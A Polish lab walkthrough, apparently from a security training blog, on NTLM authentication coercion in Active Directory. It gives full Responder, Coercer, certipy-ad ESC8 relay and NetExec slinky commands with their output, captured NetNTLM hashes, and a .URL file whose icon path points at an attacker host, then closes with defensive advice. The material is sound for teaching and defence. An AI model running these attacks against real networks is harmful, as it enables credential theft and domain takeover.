Wstęp

W poprzednim artykule poświęconym NTLM, rozebraliśmy na czynniki pierwsze podstawowe pojęcia: czym jest NetNTLM a czym hash NT, jak można przeprowadzić ataki polegające na przechwyceniu challenge NetNTLM  oraz na czym polegają podatności typu relay.  

Jeżeli powyższe pojęcia nie są dla Ciebie zrozumiałe, to przed przystąpieniem do dalszej lektury, koniecznie zapoznaj się z materiałem z linku powyżej.

W niniejszym artykule idziemy o krok dalej, opisując kolejne, bardziej zaawansowane klasy ataków w których wykorzystywane są nieprawidłowości związane z NTLM. Ataków, które bardzo często prowadzą do przejęcia całej domeny Active Directory.

Techniki te w literaturze często nazywane są atakami typu authentication coercion (co w języku polskim oznacza wymuszenie uwierzytelnienia) – i ich nazwa dobrze oddaje stan rzeczy. Czasami aktywnie jesteśmy w stanie wymusić na wybranym komputerze, lub koncie użytkownika, uwierzytelnienie do serwera należącego do atakującego. Skutkuje to przejęciem challenge NetNTLM, który można wykorzystać do dalszych operacji (m.in ataków typu relay lub podjęcia próby złamania hasła użytkownika).

W ramach uporządkowania technik, podzieliłem je na dwie grupy:

1. Server-side coercion (RPC / usługi systemowe), w których atakujący wywołuje funkcję/procedurę RPC, która powoduje, że host inicjuje połączenie do zadanego endpointu. 

Efektem tego ataku jest możliwe przechwycenie challenge NetNTLM konta komputera.

2. Client-side coercion (artefakty po stronie użytkownika), w których atakujący przygotowuje plik lub referencję do zasobu zdalnego (np. .lnk, ikona z UNC, plik w udostępnionym udziale dyskowym), a Windows/Explorer/klient poczty wykonuje automatyczne dociągnięcie zasobu i podejmuje uwierzytelnienie NTLM. Ten wariant jest szczególnie skuteczny, bo potrafi wywołać interakcję z serwerem atakującego, nawet podczas zwykłego przeglądania folderu.

Efektem tego ataku jest możliwe przechwycenie challenge NetNTLM konta użytkownika.

Różnią się one celem ataku, wykorzystanymi narzędziami i zbiorem technik, ale również efektem.W przypadku podatności client-side coercion przechwycone zostaje challenge NetNTLM konta użytkownika, a server-side coercion – serwera. Ma to znaczny wpływ na możliwość ich dalszego wykorzystania i potencjalnych konsekwencji.

Ataki typu Server-side coercion

W świecie systemów Windows istnieje mechanizm, który pozwala wykonywać na zdalnym hoście operacje administracyjne na żądanie, bez zestawiania interaktywnej sesji SSH czy RDP. Mechanizm ten to RPC (Remote Procedure Call). 

W praktyce wygląda to tak, że aplikacja kliencka (np. narzędzie administracyjne, skrypt, konsola MMC) wywołuje zdalnie konkretną procedurę, a system Windows po drugiej stronie wykonuje ją lokalnie i odsyła wynik. W Active Directory i Windows Server jest to absolutny fundament zarządzania: wiele ról i usług systemowych wystawia swoje interfejsy właśnie w postaci endpointów RPC (drukowanie, EFS, DFS, zarządzanie udziałami itd.).

Dobrym przykładem typowo administracyjnego RPC jest MS-SCMR (Service Control Manager Remote Protocol), używany do zdalnego zarządzania usługami na serwerach: odczytu ich stanu, startu/stopu, zmiany konfiguracji.

Funkcje RPC mogą zostać wykorzystane do operacji ofensywnych – okazuje się, że niektóre z nich mogą inicjalizować połączenia do zdalnych hostów, i uwierzytelniać się do nich.

Jeżeli więc użytkownik posiada możliwość (uprawnienia) do wywołania funkcji RPC na zdalnym hoście, która inicjalizuje połączenie do innego serwera, to wymuszając połączenie i uwierzytelnienie do serwera atakującego, ten może przechwycić poświadczenia NetNTLM.

Obrazuje to poniższy schemat:

Ale skąd możemy wiedzieć, jakie funkcje RPC są włączone na zdalnym hoście?

Aby dostać się do właściwego interfejsu RPC, klient musi posiadać informację, gdzie ten się znajduje – i jak można się do niego podłączyć. Te informacje zwracane są przez inną usługę, działającą na porcie 135/TCP systemów Windows – RPC Endpoint Mapper (często nazywany portmapperem). Jej rolą jest mapowanie nazw/interfejsów RPC na konkretne dynamiczne porty, na których aktualnie wystawione są endpointy DCE/RPC. Można traktować ją jako swoistą książkę telefoniczną RPC:

1. Klient zapytuje portmapper o dany interfejs.
2. Portmapper zwraca dynamiczny port, pod którym znajduje się dana funkcja RPC.
3. Klient podłącza się bezpośrednio do wskazanego portu, i wywołuje wybraną funkcję RPC, np. OpenSCManagerW (otwórz zdalny SCM) lub QueryServiceStatus (pobierz listę/statusy).

W przeprowadzeniu ataku typu Server-Side Coercion ma to znaczenie bardzo praktyczne: jeżeli Endpoint Mapper działa (a zazwyczaj tak jest), a zapora i segmentacja pozwalają na ruch RPC, to narzędzia potrafią enumerować dostępne endpointy i testować metody wymuszenia uwierzytelnienia. 

Popularne funkcje RPC podatne na atak typu Server-Side Coercion

Ataki związane z wykorzystaniem usług RPC są znanym, zarówno pentesterom jak i administratorom, problemem bezpieczeństwa. Niektóre z nich zyskały swoje nazwy i być może, czytelnicy kojarzący zagadnienia bezpieczeństwa Windows, będą znali kilka z nich:

PetitPotam (CVE-2021-36942; podatna funkcja RPC: EFSRPC) – jeden z najpopularniejszych wariantów ataku Server-Side Coercion. Do dzisiaj często możliwy do przeprowadzenia podczas pentestów.

Link do repozytorium: https://github.com/topotam/PetitPotam

PrinterBug (podatna funkcja RPC: Print Spooler / MS-RPRN) – stary i dobrze opisany błąd, występujący w demonie obsługującym bufor druku w systemach Windows. Podatność często opisywana na konferencjach i w głośnych materiałach IT Security, ze względu na swoją charakterystykę (możliwość kradzieży poświadczeń, z wykorzystaniem procesu który obsługuje funkcje drukowania z systemu).

DFSCoerce (podatna funkcja RPC: DFS Namespace / MS-DFSNM) – często domyślnie uruchomione usługi DFS RPC, służące do zarządzania systemami plików (DFS, ang. Distributed File System – Rozproszony System Plików)

ShadowCoerce (podatna funkcja RPC: VSS / MS-FSRVP) – usługi RPC często domyślnie uruchomione w środowiskach Windowsowych, służące do tworzenia tzw. shadow copy – kopii zapasowych zasobów, na zdalnych komputerach. 

Powyższa lista nie wyczerpuje wszystkich podatnych usług RPC – okazuje się, że nowe, pozwalające na wykonanie ataku coercion, wykrywane są przez badaczy bezpieczeństwa co jakiś czas i samo wyłączenie tych wymienionych wyżej, nie pozwala na całkowitą mitygację zagrożenia.

Praktyczne wykorzystanie podatności

W praktyce, eksploitacja tego błędu jest stosunkowo prosta.

Istnieją gotowe narzędzia, które automatyzują proces podłączania się do portmappera, a w dalszej kolejności brute-force usług RPC pozwalających na wywołanie uwierzytelnienia do zdalnego serwera.Pozwala to na przechwycenie challenge NetNTLM. Jednym z takich narzędzi, bardzo przydatnych w testach penetracyjnych, jest Coercer (https://github.com/p0dalirius/Coercer).

Zobaczmy w praktyce przechwycenie poświadczeń kontrolera domeny:

1. W jednym oknie terminala uruchamiam Responder, czyli narzędzie służące do zatruwania lokalnych protokołów i przechwytywania poświadczeń (m.in challenge NetNTLM):

└─$ sudo responder -I eth1
[sudo] hasło użytkownika kali:
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

[+] You don't have an IPv6 address assigned.

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
[...]

[+] Listening for events...

Listing 1. Uruchomienie Responder na serwerze atakującego.

2. W drugim oknie terminala włączam narzędzie Coercer w trybie “coerce”, który podłącza się do portmappera na docelowym hoście (tutaj: kontrolerze domeny), i wywołuje kolejne potencjalnie podatne usługi RPC, wymuszając uwierzytelnienie do serwera atakującego. Na poniższym listingu można zobaczyć logi z podłączania się do portmappera, enumerację dynamicznych endpointów RPC, i próbę wywołania kolejnych funkcji RPC:

──(kali㉿admin-desktop)-[~]
└─$ coercer coerce --target-ip 192.168.56.12 --listen 192.168.56.41 -u ksiegowosc -p grubefakturki
       ______
      / ____/___  ___  _____________  _____
     / /   / __ \/ _ \/ ___/ ___/ _ \/ ___/
    / /___/ /_/ /  __/ /  / /__/  __/ /      v2.4.3
    \____/\____/\___/_/   \___/\___/_/       by @podalirius_

[info] Starting coerce mode
[info] Scanning target 192.168.56.12
[*] DCERPC portmapper discovered ports: 49664,49665,49666,49668,49669,49671,49677,49680,49721,49690
[+] DCERPC port '49677' is accessible!
   [+] Successful bind to interface (12345678-1234-ABCD-EF00-0123456789AB, 1.0)!
      [!] (NO_AUTH_RECEIVED) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotification(pszLocalMachine='\\192.168.56.41\x00')
Continue (C) | Skip this function (S) | Stop exploitation (X) ? c
      [!] (RPC_S_ACCESS_DENIED) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotificationEx(pszLocalMachine='\\192.168.56.41\x00')
Continue (C) | Skip this function (S) | Stop exploitation (X)

Listing 2. Wywołanie kolejnych funkcji RPC z użyciem narzędzia Coercer, i wymuszenie uwierzytelnienia do serwera atakującego.

3. W momencie wywołania funkcji MS-RPRN (RpcRemoteFindFirstPrinterChangeNotificationEx), w Responderze uruchomionym w punkcie 1, otrzymano challenge NetNTLM kontrolera domeny:

[+] Listening for events...

[SMB] NTLMv1-SSP Client   : 192.168.56.12
[SMB] NTLMv1-SSP Username : CORPEX\DC1$
[SMB] NTLMv1-SSP Hash     : DC1$::CORPEX:ECEE561802898BBD00000000000000000000000000000000:F0F47F20AB4[...]

Listing 3. Przechwycenie challenge NetNTLM kontrolera domeny.

Przechwycenie NetNTLM kontrolera domeny stanowi duży sukces (i jest zjawiskiem bardzo częstym w realnych testach penetracyjnych środowisk Active Directory!), natomiast nie jest tożsame z przejęciem domeny.

W przypadku przechwycenia NetNTLM konta użytkownika, możliwe są dwa ataki:

1. Podjęcie próby odzyskania jego hasła, np. z użyciem hashcat.
2. lub przeprowadzenie ataku typu NTLM Relay, do kolejnych hostów w sieci.

Jeżeli jednak przechwycony został NetNTLM konta komputera (np. serwera lub kontrolera domeny), sytuacja wygląda inaczej – hasła kont komputerów są losowe, długie i rotowane automatycznie, więc ich odzyskanie offline jest w praktyce niewykonalne. Nadal pozostaje możliwość przeprowadzenia ataku typu relay, ale jego skuteczność zależy od tego, do jakiej usługi następuje przekierowanie i jakie zabezpieczenia są w środowisku (np. SMB signing). Właśnie dlatego sam fakt przechwycenia NetNTLM kontrolera/innego istotnego hosta, to dopiero punkt wyjścia. O realnym ryzyku decyduje to, czy w sieci istnieje podatna ścieżka wykorzystania tego uwierzytelnienia.

Przykładem błędu, który często eksploitowany jest w połączeniu z atakiem Server-Side Coercion, i który prowadzi do przejęcia domeny, jest konfiguracja serwera AD CS (Active Directory Certificate Services) w taki sposób, że włączona została możliwość generowania biletów przez HTTP, poprzez odwołanie do dedykowanego serwera webowego, uruchomionego na AD CS. Ta specyficzna konfiguracja pozwala na wykonanie jednego ze znanych wariantów ataku na AD CS, który został nazwany “ESC8”.

Szczegółową dokumentację oraz opis wariantów ataków, skierowanych na AD CS, znaleźć można m.in w oryginalnym opracowaniu – nie znajdują się one w zakresie niniejszego artykułu: https://specterops.io/blog/2021/06/17/certified-pre-owned/.

Łatwiej będzie go zrozumieć, na podstawie poniższego schematu:

Od strony technicznej, atak ten może wyglądać następująco:

1. Identyfikacja podatnego serwera AD CS, który posiada włączoną możliwość generowania certyfikatów z użyciem HTTP (tzw. włączony web enrollment):

┌──(kali㉿admin-desktop)-[~]
└─$ certipy-ad find -u ksiegowosc -p grubefakturki -target 192.168.56.12 -stdout -vulnerable

[*] Finding certificate templates
[*] Found 40 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[...]
Certificate Authorities
  0
    CA Name                             : CORPEX-CA
    DNS Name                            : ca.corpex.local
    Certificate Subject                 : CN=CORPEX-CA, DC=corpex, DC=local
    Certificate Serial Number           : 20E7C115A25C67844911E29F4175D3E6
    Certificate Validity Start          : 2025-10-15 17:57:05+00:00
    Certificate Validity End            : 2030-10-15 18:07:04+00:00
    Web Enrollment
      HTTP
        Enabled                         : True
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Enabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Disabled
[...]

Listing 4. Identyfikacja serwera AD CS z włączonym tzw. web enrollment.

Włączony web enrollment również można potwierdzić, wysyłając do serwera IIS działającego na AD CS następujące żądanie – status 401 jest wynikiem oczekiwanym:

┌──(kali㉿kali)-[~]
└─$ wget http://192.168.56.23/certsrv/certfnsh.asp
--2025-10-19 00:05:58--  http://192.168.56.23/certsrv/certfnsh.asp
Łączenie się z 192.168.56.23:80... połączono.
Żądanie HTTP wysłano, oczekiwanie na odpowiedź... 401 Unauthorized

Uwierzytelnienie użytkownik/hasło nie powiodło się.

Listing 4. Potwierdzenie obecności web enrollment poprzez przesłanie żądania HTTP do odpowiedniego endpointu na serwerze IIS.

2. Przekierowanie challenge NetNTLM kontrolera domeny do serwera AD CS. Kontroler domeny uwierzytelnia się do AD CS, i następnie generuje certyfikat, na podstawie szablonu, który dostępny jest tylko dla kontrolera domeny (przykładowo: domyślny szablon DomainController). 

W tym celu, w jednym uruchomione zostaje narzędzie certipy-ad, z flagami relay –template DomainController, wskazującymi na to, że po uwierzytelnieniu kontrolera domeny do AD CS, ma zostać utworzony certyfikat na podstawie wskazanego szablonu – dostępnego tylko dla kontrolerów domeny:

┌──(kali㉿admin-desktop)-[~]
└─$ certipy-ad relay -template DomainController -target 192.168.56.23
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Targeting http://192.168.56.23/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
[*] Setting up SMB Server on port 445

Listing 5. Włączenie narzędzia certipy-ad relay, którego zadaniem jest przekazanie przechwyconego uwierzytelnienia do serwera AD CS, i wygenerowanie certyfikatu w imieniu kontrolera

3. W drugim oknie terminala, włączone zostaje narzędzie Coercer, którego rolą jest wymuszenie uwierzytelnienia z użyciem NTLM na kontrolerze domeny:

┌──(kali㉿admin-desktop)-[~]
└─$ coercer coerce --target-ip 192.168.56.12 --listen 192.168.56.41 -u ksiegowosc -p grubefakturki
       ______
      / ____/___  ___  _____________  _____
     / /   / __ \/ _ \/ ___/ ___/ _ \/ ___/
    / /___/ /_/ /  __/ /  / /__/  __/ /      v2.4.3
    \____/\____/\___/_/   \___/\___/_/       by @podalirius_

[info] Starting coerce mode
[info] Scanning target 192.168.56.12
[*] DCERPC portmapper discovered ports: 49664,49665,49666,49667,49669,49671,49673,49676,49714,49686
[+] DCERPC port '49673' is accessible!
   [+] Successful bind to interface (12345678-1234-ABCD-EF00-0123456789AB, 1.0)!
      [!] (NO_AUTH_RECEIVED) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotification(pszLocalMachine='\\192.168.56.41\x00')
Continue (C) | Skip this function (S) | Stop exploitation (X) ? c
      [>] (-testing-) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotificationEx(pszLocalMachine='\\192.168.56.41\x00')

Listing 6. Wymuszenie na kontrolerze domeny, uwierzytelnienia do atakującego.

4. Poniżej widoczny jest efekt: skrypt certipy-ad przekierowuje poświadczenia otrzymane od kontrolera domeny, do serwera AD CS, uwierzytelnia się z ich użyciem, i następnie generuje certyfikat kontrolera domeny:

[*] Setting up SMB Server on port 445

[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.56.12, attacking target http://192.168.56.23

[*] HTTP Request: POST http://192.168.56.23/certsrv/certfnsh.asp "HTTP/1.1 200 OK"
[*] Certificate issued with request ID 24
[*] Retrieving certificate for request ID: 24
[*] HTTP Request: GET http://192.168.56.23/certsrv/certnew.cer?ReqID=24 "HTTP/1.1 200 OK"
[*] Got certificate with DNS Host Name 'dc1.corpex.local'
[*] Saving certificate and private key to 'dc1.pfx'
[*] Wrote certificate and private key to 'dc1.pfx'
[*] Exiting...

Listing 7. Uruchomienie Responder na serwerze atakującego.

5. Atakujący może wykorzystać przechwycony certyfikat kontrolera domeny, do uwierzytelnienia się w jego imieniu, do dowolnego urządzenia w sieci. 

Ataki typu Client-side coercion

Powyżej opisywany był scenariusz, w którym atakujący wymusza uwierzytelnienie serwera do atakującego. Istnieje również inny typ ataku polegającego na wymuszeniu, ale skierowany na konta użytkowników, a nie komputery w domenie.

W tym wariancie atakujący nie wywołuje zdalnej usługi RPC co powoduje wykonanie połączenia, tylko przygotowuje odpowiedni artefakt (plik zamieszczany na współdzielonym zasobie korporacyjnym) po stronie klienta w taki sposób, aby to Windows użytkownika samodzielnie nawiązał połączenie do zasobu sieciowego i automatycznie spróbował się do niego uwierzytelnić.

Najczęściej spotykanym przykładem takiego artefaktu są pliki o rozszerzeniach takich jak m.in .LNK (Windows Shortcut), .URL (skrót do adresu URL). Skrót może wyglądać jak zwykły odnośnik do aplikacji lub dokumentu, ale w jego strukturze mogą znajdować się dodatkowe pola, np. wskazujące ikonę lub elementy metadanych ładowane z lokalizacji sieciowej (np. po ścieżce UNC). 

Gdy użytkownik otwiera folder ze skrótem, Windows Explorer próbuje wyrenderować widok – w tym pobrać ikonę i odczytać właściwości obiektu – co potrafi skutkować automatycznym połączeniem do zdalnego zasobu. Ponieważ system zakłada, że zasób jest zaufany, bardzo często uruchamia przy tym automatyczne uwierzytelnienie NTLM, wysyłając NetNTLM dla konta użytkownika. Istotne jest podkreślenie faktu, że uwierzytelnienie do serwera atakującego następuje już wtedy, gdy użytkownik otwiera katalog, w którym znajduje się podrzucony plik, i nie jest konieczne jego intencjonalne otwarcie przez użytkownika.

Poniżej widoczny jest przykładowy plik .URL, zawierający dodatkowe pole (parametr IconFile), co powoduje automatyczne uwierzytelnienie do serwera atakującego, w momencie gdy użytkownik otworzy katalog, w którym niniejszy plik się znajduje.

[InternetShortcut]
URL=http://sekurak.pl/hahagotyourntlm
WorkingDirectory=test
IconFile=\\192.168.56.41\%USERNAME%.icon
IconIndex=1

Listing 8. Przykładowa zawartość pliku .URL, z dodatkowym parametrem.

Z perspektywy pentestera, praktyczne wykorzystanie tej podatności (czy problemu wynikającego z tego, jak funkcjonalność tworzenia plików została zaprojektowana?) mogłoby wyglądać następująco:

1. Wyszukanie w lokalnej sieci zasobów smb (współdzielonych katalogów), do których posiadane konto ma uprawnienia zapisu:

└─$ nxc smb 192.168.56.0/24 -u ksiegowosc -p grubefakturki

SMB         192.168.56.22   445    EMPLOYEEHUB      [+] corpex.local\ksiegowosc:grubefakturki (Guest)
SMB         192.168.56.22   445    EMPLOYEEHUB      [*] Enumerated shares
SMB         192.168.56.22   445    EMPLOYEEHUB      Share           Permissions     Remark
SMB         192.168.56.22   445    EMPLOYEEHUB      -----           -----------     ------
SMB         192.168.56.22   445    EMPLOYEEHUB      ADMIN$                          Remote Admin
SMB         192.168.56.22   445    EMPLOYEEHUB      all             READ,WRITE      Basic RW share for all
SMB         192.168.56.22   445    EMPLOYEEHUB      C$                              Default share
SMB         192.168.56.22   445    EMPLOYEEHUB      IPC$            READ            Remote IPC
SMB         192.168.56.22   445    EMPLOYEEHUB      public                          Basic Read share for all domain users

Listing 8. Wyszukanie współdzielonych zasobów SMB, w których użytkownik ma uprawnienia zapisu.

2. Wgranie do zasobu z uprawnieniami do zapisu, pliku .lnk lub .url. W ramach ułatwienia, można wykorzystać jeden z gotowych modułów narzędzia NetExec, o nazwie slinky:

└─$ nxc smb 192.168.56.0/24 -u ksiegowosc -p grubefakturki -M slinky -o NAME=tylkosprawdzam SERVER=192.168.56.41

[*] Ignore OPSEC in configuration is set and OPSEC unsafe 

SMB         192.168.56.22   445    EMPLOYEEHUB      [+] corpex.local\ksiegowosc:grubefakturki (Guest)
SMB         192.168.56.22   445    EMPLOYEEHUB      [*] Enumerated shares
SMB         192.168.56.22   445    EMPLOYEEHUB      Share           Permissions     Remark
SMB         192.168.56.22   445    EMPLOYEEHUB      -----           -----------     ------
[...]
SMB         192.168.56.22   445    EMPLOYEEHUB      all             READ,WRITE      Basic RW share for all
module loaded
SLINKY      192.168.56.22   445    EMPLOYEEHUB      [+] Found writable share: all
SLINKY      192.168.56.22   445    EMPLOYEEHUB      [+] Created LNK file on the all share

Listing 9. Utworzenie pliku .lnk na współdzielonym zasobie, który spowoduje połączenie z serwerem pentestera, w momencie wyświetlenia go w katalogu.

3. Włączenie serwera przechwytującego NetNTLM (Respondera).
4. Użytkownik otwiera katalog, w którym znajduje się wyżej wgrany skrót:

I po bardzo krótkim czasie, w Responderze atakującego, zobaczyć można przechwycony hash NetNTLM konta użytkownika:

[...]

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 192.168.56.23
[SMB] NTLMv2-SSP Username : CORPEX\jan.bezpieczny
[SMB] NTLMv2-SSP Hash     : jan.bezpieczny::CORPEX:9fbac561df0ae2f8:E4A5232F7D03B94166D77AAAED39CC74:010100000000000080E069[...]

Listing 10. Utworzenie pliku .lnk na współdzielonym zasobie, który spowoduje połączenie z serwerem pentestera, w momencie wyświetlenia go w katalogu.

6. NetNTLM widoczny powyżej, można następnie wykorzystać do technik opisanych w pierwszym artykule poświęconym problemom bezpieczeństwa NTLM (https://sekurak.pl/podstawowe-problemy-bezpieczenstwa-ntlm/).

Wnioski i rekomendacje

Po przyjrzeniu się praktycznej eksploitacji podatności, zaobserwować można, że wynika  ona z połączenia wielu pomniejszych błędów konfiguracyjnych, które ostatecznie prowadzą do eskalacji uprawnień, a czasami nawet przejęcia całej domeny. W celu zabezpieczenia się przed tą rodziną ataków, konieczne jest wprowadzenie wieloetapowych zabezpieczeń: od wyłączenia nadmiarowych usług RPC na istotnych urządzeniach, przez ścisłe monitorowanie ruchu sieciowego do i z kontrolera domeny, po włączenie mechanizmu podpisywania pakietów SMB, w celu uniemożliwienia wykonania ataków z rodziny relay.

Warto jednak pamiętać, że podpisywanie SMB to tylko jedna z warstw obron. Atakujący będzie szukał innych usług pozwalających na wykonanie ataków typu relay (HTTP/LDAP/AD CS), dlatego tam, gdzie to możliwe, należy ograniczać użycie NTLM i przełączać uwierzytelnienie na Kerberos, a przynajmniej skrupulatnie logować, gdzie NTLM nadal występuje i dlaczego.

Równie kluczowa jest segmentacja na poziomie sieci. Kontroler domeny i inne systemy Tier0 nie powinny mieć możliwości nawiązywania dowolnych połączeń wychodzących do zasobów w sieci.
Jeżeli w środowisku działa AD CS, konieczne jest jego regularne utwardzanie (ang. hardening) i przegląd konfiguracji w kontekście znanych klas nadużyć (szablony, uprawnienia do enrollmentu, endpointy webowe). W praktyce problemy te często wynikają z historycznych wyjątków i wdrożeń sprzed lat, które nigdy nie doczekały się rewizji pod kątem technik podobnych do opisywanych w niniejszym artykule.

Analogiczna logika dotyczy również client-side coercion, z tą różnicą, że tutaj wykorzystywane są zachowania systemów klienckich i aplikacji użytkowników. W tym wariancie atakujący stara się doprowadzić do sytuacji, w której to komputer użytkownika podejmuje automatyczne uwierzytelnienie NTLM do zasobu kontrolowanego przez atakującego, czasem bez świadomej akcji użytkownika (wystarczy interakcja typu otwarcie folderu, podgląd plików czy renderowanie ikon). Dlatego najlepszą obroną jest ograniczenie warunków, w których takie automatyczne uwierzytelnienie w ogóle może zaistnieć.

Z perspektywy administratora kluczowe są trzy obszary:

1. Higiena udziałów plikowych i punktów wspólnych typu publiczne zasoby, katalogi współdzielone, miejsca gdzie użytkownicy masowo przeglądają pliki – bo to tam najłatwiej podłożyć artefakt powodujący wymuszenie uwierzytelnienia do serwera atakującego.
2. Kontrola ruchu wychodzącego i uwierzytelnień NTLM z hostów użytkowników (SMB/WebDAV/HTTP do segmentów, które nie mają biznesowego uzasadnienia); ten atak u fundamentu bazuje na tym, że stacja robocza może swobodnie próbować uwierzytelniać się do dowolnego zasobu w LAN.
3. Monitoring anomalii, czyli sytuacji, w których stacje robocze nagle inicjują nietypowe połączenia do udziałów lub endpointów, których wcześniej nie używały, szczególnie jeśli towarzyszy temu wzrost zdarzeń NTLM.

Warto w tym miejscu dodać szerszą obserwację: wiele opisanych w tym artykule scenariuszy wynika z tego, jak przez lata projektowano i rozwijano ekosystem Windows/Active Directory. Priorytetem była kompatybilność wsteczna, łatwość administracji i automatyzacja, a bezpieczeństwo często dokładano warstwami dopiero wtedy, gdy pojawiały się kolejne realne nadużycia. Efekt uboczny jest taki, że w implementacji i typowych konfiguracjach AD istnieje wiele zachowań, które same w sobie, od strony technicznej są dozwolone, ale w połączeniu tworzą ścieżki eskalacji zaskakująco proste do zautomatyzowania.

Zabezpieczenie takich środowisk stanowi więc istotne wyzwanie: wymaga zrozumienia zależności pomiędzy protokołami, rolami serwerów, konfiguracją usług oraz realnymi potrzebami biznesowymi. W celu kompleksowego zabezpieczenia, konieczne jest wykorzystanie podejścia defense in depth: redukcja powierzchni ataku, konsekwentne ograniczanie wykorzystania NTLM, mechanizmy anty-relay, segmentacja i monitoring anomalii w systemach i sieciach. W praktyce dojrzała defensywa wymaga głębokiego zrozumienia sposobu działania każdego z mechanizmów oraz potencjalnych zagrożeń związanych z ich wykorzystaniem w organizacji.

Jeżeli chcesz poznać więcej praktycznych sposobów zabezpieczania systemów Windows oraz sieci opartych o Active Directory, to zachęcam do udziału w nadchodzącym cyklu szkoleń Sekuraka, poświęconym bezpieczeństwu systemów Windows oraz Active Directory.

W ich trakcie podobne scenariusze rozkładamy na czynniki pierwsze: od strony ofensywnej (jak i dlaczego działają), a następnie defensywnej (jak je wykrywać, jak je blokować, i jak priorytetyzować poprawki), tak aby przełożyć wiedzę techniczną na realne wzmocnienie bezpieczeństwa Twojej sieci.

~Marek Rzepecki,
Etyczny haker i trener w Securitum